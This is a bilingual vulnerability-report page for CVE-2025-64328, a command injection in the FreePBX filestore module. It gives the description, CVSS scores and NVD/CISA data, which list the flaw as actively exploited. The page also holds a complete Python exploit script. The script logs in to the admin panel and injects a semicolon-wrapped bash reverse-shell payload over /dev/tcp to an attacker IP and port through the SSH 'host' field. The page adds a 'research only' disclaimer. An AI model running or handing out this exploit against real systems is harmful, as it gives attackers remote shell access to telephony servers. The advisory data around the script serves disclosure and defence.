Security Vulnerability Report
中文
CVE-2025-64328 CVSS 7.2 HIGH

CVE-2025-64328

Published: 2025-11-07 04:15:47
Last Modified: 2026-02-24 19:30:59

Description

FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions 17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to obtain remote access to the system as an asterisk user. This issue is fixed in version 17.0.3.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sangoma:firestore:*:*:*:*:*:freepbx:*:* - VULNERABLE
FreePBX Endpoint Manager 17.0.2.36 - 17.0.2.x (受影响)
FreePBX Endpoint Manager 17.0.3 (已修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64328 PoC - FreePBX Endpoint Manager Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_freepbx(target_url, username, password, attacker_ip, attacker_port): """ Exploit FreePBX filestore module command injection via check_ssh_connect() """ # Login to FreePBX admin interface login_url = f"{target_url}/admin/config.php" session = requests.Session() # Step 1: Authentication login_data = { 'username': username, 'password': password, 'submit': 'Login' } response = session.post(login_url, data=login_data, verify=False) if 'logout' not in response.text.lower(): print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Inject command via filestore testconnection # Target endpoint: /admin/config.php?type=setup&display=filestore exploit_url = f"{target_url}/admin/ajax.php?module=filestore&command=testconnection" # Payload: Reverse shell connection payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" exploit_data = { 'driver': 'SSH', 'host': payload, 'username': 'asterisk', 'auth_method': 'password' } print(f"[*] Sending exploit payload: {payload}") response = session.post(exploit_url, json=exploit_data, verify=False) if response.status_code == 200: print("[+] Exploit sent - Check your listener") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_freepbx(target, user, pwd, lhost, lport)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64328", "sourceIdentifier": "[email protected]", "published": "2025-11-07T04:15:47.397", "lastModified": "2026-02-24T19:30:59.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions 17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to obtain remote access to the system as an asterisk user. This issue is fixed in version 17.0.3."}, {"lang": "es", "value": "FreePBX Endpoint Manager es un módulo para gestionar puntos finales de telefonía en sistemas FreePBX. En las versiones 17.0.2.36 y superiores anteriores a la 17.0.3, el módulo filestore dentro de la interfaz Administrativa es vulnerable a una inyección de comandos post-autenticación por un usuario conocido autenticado a través de la función testconnection -&gt; check_ssh_connect(). Un atacante puede aprovechar esta vulnerabilidad para obtener acceso remoto al sistema como usuario asterisk. Este problema está solucionado en la versión 17.0.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-02-03", "cisaActionDue": "2026-02-24", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Sangoma FreePBX OS Command Injection Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sangoma:firestore:*:*:*:*:*:freepbx:*:*", "versionStartIncluding": "17.0.2.36", "versionEndExcluding": "17.0.3", "matchCriteriaId": "41B1933F-7231-43F4-8C33-FBF1E2519CD5"}]}]}], "references": [{"url": "https://github.com/FreePBX/filestore/blob/f0e3983059271efd80b483ec823310ef19a59013/drivers/SSH/testconnection.php#L2", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://www.freepbx.org/watch-what-we-do-with-security-fixes-%f0%9f%91%80", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-64328", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://www.fortinet.com/blog/threat-research/unveiling-the-weaponized-web-shell-encystphp", "source": "134c7 ... (truncated)